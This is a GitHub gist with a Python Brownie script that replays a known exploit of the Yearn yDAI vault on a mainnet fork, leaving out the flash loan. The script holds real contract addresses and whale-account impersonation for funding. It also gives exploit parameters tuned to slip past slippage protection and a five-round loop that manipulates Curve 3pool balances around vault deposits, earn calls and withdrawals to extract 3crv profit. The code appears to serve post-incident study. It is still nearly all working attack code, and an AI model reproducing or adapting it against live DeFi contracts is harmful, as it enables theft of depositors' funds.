-
-
Save xu3kev/cb1992269c429647d24b6759aff6261c to your computer and use it in GitHub Desktop.
ydai_vault_attack.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from brownie import accounts, interface, Contract | |
# simulate the attack https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b | |
# without the flashloan part | |
def main(): | |
usdt = interface.IERC20('0x0000000000085d4780B73119b644AE5ecd22b376') | |
dai = interface.IERC20('0x6B175474E89094C44Da98b954EedeAC495271d0F') | |
usdt = interface.IERC20('0xdAC17F958D2ee523a2206206994597C13D831ec7') | |
usdc = interface.IERC20('0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48') | |
yvdai = Contract('0xACd43E627e64355f1861cEC6d3a6688B31a6F952') | |
curve = Contract('0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7') | |
crv3 = interface.IERC20('0x6c3f90f043a72fa612cbac8115ee7e52bde6e490') | |
max_3crv_amount = 300000000000000000000000000 | |
# exploit parameters | |
remove_usdt_amt = 167473454967245 | |
remove_usdt_amt_final_round = 167288317922857 | |
# amount used in vault deposit, note that it was chosen smaller to not trigger the slippage protection | |
earn_amt = [105469871996916702826725376, 104706920396703142299856646, 103948014417774019565578888, | |
103192919800803744390557088, 102441640504232413679923590] | |
init_add_dai_amt = 37972761178915525047091200 | |
init_add_usdc_amt = 133000000000000 | |
# construct an account with the required dai and usdc amount to simulate flashloan | |
hacker = accounts[0] | |
dai_holder = accounts.at('0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643', force=True) | |
usdc_holder = accounts.at('0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8', force=True) | |
dai.transfer(hacker, init_add_dai_amt + max(earn_amt), {'from':dai_holder}) | |
usdc.transfer(hacker, init_add_usdc_amt, {'from':usdc_holder}) | |
hacker_dai_amt_before = dai.balanceOf(hacker) | |
hacker_usdc_amt_before = usdc.balanceOf(hacker) | |
assert(usdt.balanceOf(hacker)==0) | |
assert(crv3.balanceOf(hacker)==0) | |
assert(yvdai.balanceOf(hacker)==0) | |
# give approvals | |
dai.approve(yvdai, 2**256-1, {'from': hacker}) | |
usdt.approve(curve, 2**256-1, {'from': hacker}) | |
dai.approve(curve, 2**256-1, {'from': hacker}) | |
usdc.approve(curve, 2**256-1, {'from': hacker}) | |
# first make the pool inbalance | |
curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0, {'from': hacker}) | |
# exploit similar to https://github.com/iearn-finance/yearn-security/blob/master/disclosures/2020-10-30.md | |
for i in range(0,5): | |
curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount, {'from': hacker}) | |
yvdai.deposit(earn_amt[i], {'from': hacker}) | |
yvdai.earn({'from': hacker}) | |
before_tmp = crv3.balanceOf(hacker) | |
if i != 4: | |
curve.add_liquidity([0,0,remove_usdt_amt], 0, {'from': hacker}) | |
else: # differ in the last round: some usdt is used to pay for flashloan fee | |
curve.add_liquidity([0,0,remove_usdt_amt_final_round], 0, {'from': hacker}) | |
yvdai.withdrawAll({'from': hacker}) | |
# till here the hacker gains 3crv | |
# Convert some 3crv to make sure it gets all the dai and usdc back to the amount before the attack. | |
dai_difference = hacker_dai_amt_before - dai.balanceOf(hacker) | |
curve.remove_liquidity_imbalance([dai_difference+1, init_add_usdc_amt+1, 0],max_3crv_amount, {'from':hacker}) | |
assert(dai.balanceOf(hacker) == hacker_dai_amt_before+1) | |
assert(usdc.balanceOf(hacker) == hacker_usdc_amt_before+1) | |
# Cash out with usdt from the remaining 3crv | |
print("Attacker get 3crv amt:", crv3.balanceOf(hacker)/1e18) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
brownie-config.yaml